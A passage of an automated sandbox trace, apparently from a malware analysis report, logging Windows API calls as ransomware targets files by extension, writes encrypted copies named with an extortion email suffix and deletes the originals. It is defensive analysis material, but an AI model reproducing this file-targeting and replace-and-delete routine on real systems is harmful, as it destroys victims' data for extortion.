returned 4 [0187.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.763] lstrlenW (lpString=".rar") returned 4 [0187.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.763] lstrlenW (lpString=".bz2") returned 4 [0187.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.763] lstrlenW (lpString=".7z") returned 3 [0187.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.763] lstrlenW (lpString=".dbf") returned 4 [0187.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.763] lstrlenW (lpString=".1cd") returned 4 [0187.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.763] lstrlenW (lpString=".jpg") returned 4 [0187.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.764] lstrlenW (lpString=".doc") returned 4 [0187.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.764] lstrlenW (lpString=".docx") returned 5 [0187.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.764] lstrlenW (lpString=".pdf") returned 4 [0187.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.764] lstrlenW (lpString=".xls") returned 4 [0187.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.764] lstrlenW (lpString=".xlsx") returned 5 [0187.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.764] lstrlenW (lpString=".ppt") returned 4 [0187.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.764] lstrlenW (lpString=".zip") returned 4 [0187.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.764] lstrlenW (lpString=".rar") returned 4 [0187.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.764] lstrlenW (lpString=".bz2") returned 4 [0187.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.764] lstrlenW (lpString=".7z") returned 3 [0187.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.764] lstrlenW (lpString=".dbf") returned 4 [0187.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.764] lstrlenW (lpString=".1cd") returned 4 [0187.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0187.764] lstrlenW (lpString=".jpg") returned 4 [0187.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.928] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.928] lstrlenW (lpString="DD01171_.WMF") returned 12 [0187.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.929] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2052) returned 1 [0187.929] CloseHandle (hObject=0x1d8) returned 1 [0187.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0187.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.929] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.929] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.930] GetLastError () returned 0x0 [0187.930] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x804, lpOverlapped=0x0) returned 1 [0187.931] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x810, lpOverlapped=0x0) returned 1 [0187.932] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.932] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.932] SetEndOfFile (hFile=0x20c) returned 1 [0187.932] CloseHandle (hObject=0x20c) returned 1 [0187.933] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.933] SetEndOfFile (hFile=0x1d8) returned 1 [0187.933] CloseHandle (hObject=0x1d8) returned 1 [0187.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0187.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.934] lstrlenW (lpString=".doc") returned 4 [0187.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.934] lstrlenW (lpString=".docx") returned 5 [0187.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.934] lstrlenW (lpString=".pdf") returned 4 [0187.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.934] lstrlenW (lpString=".xls") returned 4 [0187.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.934] lstrlenW (lpString=".xlsx") returned 5 [0187.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.934] lstrlenW (lpString=".ppt") returned 4 [0187.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.934] lstrlenW (lpString=".zip") returned 4 [0187.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.934] lstrlenW (lpString=".rar") returned 4 [0187.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.934] lstrlenW (lpString=".bz2") returned 4 [0187.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.934] lstrlenW (lpString=".7z") returned 3 [0187.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.934] lstrlenW (lpString=".dbf") returned 4 [0187.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.935] lstrlenW (lpString=".1cd") returned 4 [0187.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.935] lstrlenW (lpString=".jpg") returned 4 [0187.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.935] lstrlenW (lpString=".doc") returned 4 [0187.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.935] lstrlenW (lpString=".docx") returned 5 [0187.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.935] lstrlenW (lpString=".pdf") returned 4 [0187.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.935] lstrlenW (lpString=".xls") returned 4 [0187.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.935] lstrlenW (lpString=".xlsx") returned 5 [0187.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.935] lstrlenW (lpString=".ppt") returned 4 [0187.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.935] lstrlenW (lpString=".zip") returned 4 [0187.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.935] lstrlenW (lpString=".rar") returned 4 [0187.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.935] lstrlenW (lpString=".bz2") returned 4 [0187.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.935] lstrlenW (lpString=".7z") returned 3 [0187.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.935] lstrlenW (lpString=".dbf") returned 4 [0187.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.936] lstrlenW (lpString=".1cd") returned 4 [0187.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0187.936] lstrlenW (lpString=".jpg") returned 4 [0187.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.936] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.936] lstrlenW (lpString="DD01172_.WMF") returned 12 [0187.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.936] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2232) returned 1 [0187.936] CloseHandle (hObject=0x1d8) returned 1 [0187.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0187.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.937] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.937] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.937] GetLastError () returned 0x0 [0187.937] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0187.939] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0187.940] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.940] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.940] SetEndOfFile (hFile=0x20c) returned 1 [0187.940] CloseHandle (hObject=0x20c) returned 1 [0187.940] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.940] SetEndOfFile (hFile=0x1d8) returned 1 [0187.941] CloseHandle (hObject=0x1d8) returned 1 [0187.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0187.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.942] lstrlenW (lpString=".doc") returned 4 [0187.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.942] lstrlenW (lpString=".docx") returned 5 [0187.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.942] lstrlenW (lpString=".pdf") returned 4 [0187.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.942] lstrlenW (lpString=".xls") returned 4 [0187.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.942] lstrlenW (lpString=".xlsx") returned 5 [0187.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.942] lstrlenW (lpString=".ppt") returned 4 [0187.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.942] lstrlenW (lpString=".zip") returned 4 [0187.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.942] lstrlenW (lpString=".rar") returned 4 [0187.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.942] lstrlenW (lpString=".bz2") returned 4 [0187.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.942] lstrlenW (lpString=".7z") returned 3 [0187.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.942] lstrlenW (lpString=".dbf") returned 4 [0187.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.942] lstrlenW (lpString=".1cd") returned 4 [0187.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.942] lstrlenW (lpString=".jpg") returned 4 [0187.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.943] lstrlenW (lpString=".doc") returned 4 [0187.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.943] lstrlenW (lpString=".docx") returned 5 [0187.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.943] lstrlenW (lpString=".pdf") returned 4 [0187.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.943] lstrlenW (lpString=".xls") returned 4 [0187.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.943] lstrlenW (lpString=".xlsx") returned 5 [0187.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.943] lstrlenW (lpString=".ppt") returned 4 [0187.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.943] lstrlenW (lpString=".zip") returned 4 [0187.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.943] lstrlenW (lpString=".rar") returned 4 [0187.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.943] lstrlenW (lpString=".bz2") returned 4 [0187.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.943] lstrlenW (lpString=".7z") returned 3 [0187.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.943] lstrlenW (lpString=".dbf") returned 4 [0187.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.943] lstrlenW (lpString=".1cd") returned 4 [0187.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0187.943] lstrlenW (lpString=".jpg") returned 4 [0187.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.944] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.944] lstrlenW (lpString="DD01173_.WMF") returned 12 [0187.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.944] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1804) returned 1 [0187.944] CloseHandle (hObject=0x1d8) returned 1 [0187.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0187.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.944] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.944] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.945] GetLastError () returned 0x0 [0187.945] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x70c, lpOverlapped=0x0) returned 1 [0187.946] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x710, lpOverlapped=0x0) returned 1 [0187.947] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.947] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.947] SetEndOfFile (hFile=0x20c) returned 1 [0187.948] CloseHandle (hObject=0x20c) returned 1 [0187.948] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.948] SetEndOfFile (hFile=0x1d8) returned 1 [0187.948] CloseHandle (hObject=0x1d8) returned 1 [0187.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0187.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.949] lstrlenW (lpString=".doc") returned 4 [0187.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.949] lstrlenW (lpString=".docx") returned 5 [0187.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.949] lstrlenW (lpString=".pdf") returned 4 [0187.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.949] lstrlenW (lpString=".xls") returned 4 [0187.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.949] lstrlenW (lpString=".xlsx") returned 5 [0187.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.949] lstrlenW (lpString=".ppt") returned 4 [0187.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.949] lstrlenW (lpString=".zip") returned 4 [0187.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.949] lstrlenW (lpString=".rar") returned 4 [0187.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.949] lstrlenW (lpString=".bz2") returned 4 [0187.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.949] lstrlenW (lpString=".7z") returned 3 [0187.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.949] lstrlenW (lpString=".dbf") returned 4 [0187.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.950] lstrlenW 